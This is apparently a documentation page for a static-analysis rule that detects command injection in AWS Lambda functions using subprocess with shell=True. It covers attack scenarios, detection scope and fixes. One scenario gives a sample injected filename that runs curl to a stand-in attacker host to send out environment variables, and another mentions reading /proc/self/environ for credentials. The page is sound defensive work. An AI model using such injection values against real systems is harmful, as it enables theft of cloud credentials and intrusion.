Lambda Command Injection via subprocess

CRITICAL

Lambda event data flows to subprocess with shell=True or as a string command, enabling OS command injection in the Lambda execution environment.

Rule Information

Language
Python
Category
AWS Lambda
Author
Shivasurya
Shivasurya
Last Updated
2026-03-22
Tags
pythonawslambdacommand-injectionsubprocessshelltaint-analysisinter-proceduralCWE-78OWASP-A03
CWE References

Interactive Playground

Experiment with the vulnerable code and security rule below. Edit the code to see how the rule detects different vulnerability patterns.

pathfinder scan --ruleset python/PYTHON-LAMBDA-SEC-002 --project .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
rule.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

About This Rule

Understanding the vulnerability and how it is detected

This rule detects OS command injection vulnerabilities in AWS Lambda functions where untrusted event data flows into subprocess module calls (subprocess.run(), subprocess.call(), subprocess.Popen(), subprocess.check_output()) either as a string command with shell=True or embedded in a shell command string.

Lambda functions receive input from the event dictionary populated by API Gateway, SQS, SNS, S3, DynamoDB Streams, and other triggers. There is no sanitization layer between the raw event payload and application code, making event fields like event.get("body"), event.get("queryStringParameters"), and event["Records"][0]["body"] fully attacker-controllable in public-facing deployments.

The subprocess module is safer than os.system() when used with a list argument and shell=False (the default). However, two common patterns re-introduce shell injection risk in Lambda handlers: passing a string to subprocess.run() with shell=True, and building a command string via f-string interpolation of event data before passing it to any subprocess variant. Both patterns cause the system shell to interpret metacharacters in the event data. In a Lambda environment, successful injection immediately grants access to the execution role's AWS credentials available in the environment variables.

Security Implications

Potential attack scenarios if this vulnerability is exploited

1

AWS Credential Theft via Environment Variables

Lambda execution environments expose AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and AWS_SESSION_TOKEN as environment variables. subprocess with shell=True and injected event data enables an attacker to run env or read /proc/self/environ to capture these credentials, then use them to call AWS APIs with the full permissions of the Lambda's execution role.

2

Shell Metacharacter Injection

When event data is interpolated into a shell command string, characters like ;, |, `, $(), &&, and || allow an attacker to append or chain arbitrary commands. For example, f"convert {event['filename']} output.jpg" with filename set to "x; curl attacker.com/exfil -d $(env)" executes the curl after the convert regardless of whether convert succeeds.

3

Internal Network Access from VPC Lambda

Lambda functions inside a VPC can reach internal subnets not accessible from the internet. Command injection can be used to probe internal IP ranges, connect to private RDS endpoints, or interact with internal APIs, pivoting from the Lambda entry point to protected backend infrastructure.

4

Persistence via /tmp Modification

The /tmp directory persists across warm invocations of the same execution environment. An attacker can write scripts or binaries to /tmp that execute on subsequent invocations of the same warm environment, creating a form of persistence within the execution environment's lifetime.

How to Fix

Recommended remediation steps

  • 1Always use subprocess with a list of arguments and shell=False (the default) to prevent the shell from interpreting metacharacters in event data.
  • 2Never use shell=True when any part of the command string originates from the Lambda event dictionary.
  • 3Validate all event fields against strict allowlists or regular expressions before they appear in any subprocess call.
  • 4Consider replacing subprocess calls with native Python libraries via Lambda Layers to eliminate the shell attack surface entirely.
  • 5Apply least-privilege IAM policies to the Lambda execution role to minimize the blast radius of successful exploitation.

Detection Scope

How Code Pathfinder analyzes your code for this vulnerability

This rule performs inter-procedural taint analysis with global scope. Sources are Lambda event dictionary access calls: calls("event.get"), calls("event.__getitem__"), including event.get("body"), event.get("queryStringParameters"), event.get("pathParameters"), and event["Records"]. Sinks are calls("subprocess.run"), calls("subprocess.call"), calls("subprocess.Popen"), and calls("subprocess.check_output") with tainted values in the command string argument or shell=True context (tracked via .tracks(0)). Sanitizers include shlex.quote() applied per-argument and strict regex validation patterns. The analysis follows taint through f-strings, concatenation, and function boundaries.

Compliance & Standards

Industry frameworks and regulations that require detection of this vulnerability

CWE Top 25
CWE-78 ranked #5 in 2023 Most Dangerous Software Weaknesses
OWASP Top 10
A03:2021 - Injection
PCI DSS v4.0
Requirement 6.2.4 - protect against injection attacks
NIST SP 800-53
SI-10: Information Input Validation
AWS Security Best Practices
Validate all inputs; apply least-privilege execution roles

References

External resources and documentation

Similar Rules

Explore related security rules for Python

Frequently Asked Questions

Common questions about Lambda Command Injection via subprocess

subprocess is safe when called with a list argument and shell=False (the default). In list mode, the first element is the executable and remaining elements are arguments passed directly to execve() without shell interpretation. It is vulnerable when shell=True is set with any string containing event data, or when a string command built from event data is passed even without explicit shell=True.
Validation before use is the correct approach, but it must be applied to the specific fields used in subprocess calls, not just to the top-level event body. A JSON body that passes schema validation may still contain injection payloads in nested fields. Validate each field individually with a strict regex or allowlist immediately before it is used in a subprocess call.
The execution role's temporary AWS credentials are automatically present as environment variables in every Lambda invocation. Unlike a traditional server where credentials must be separately stolen, a subprocess injection in Lambda immediately yields cloud credentials with the full scope of the execution role. These credentials can be exfiltrated in the same invocation via an outbound HTTP call, giving the attacker persistent cloud access until the credentials expire.
shlex.quote() correctly escapes a single argument for shell inclusion, but it must be applied to every individual argument. Even with correct shlex.quote() usage, the preferred pattern is subprocess with a list and shell=False. For pipelines, use subprocess.PIPE to chain multiple subprocess calls rather than using shell=True.
S3 object keys are attacker-controlled when the S3 bucket accepts uploads from external sources. Before using an S3 key in subprocess, validate it against a strict regex that only allows expected characters. Prefix the key with '--' when passing it as an argument to prevent flag injection. Consider using the boto3 S3 client to download the object to /tmp with a sanitized local filename rather than passing the raw S3 key to subprocess.

New feature

Get these findings posted directly on your GitHub pull requests

The Lambda Command Injection via subprocess rule runs in CI and posts inline review comments on the exact lines — no dashboard, no SARIF viewer.

See how it works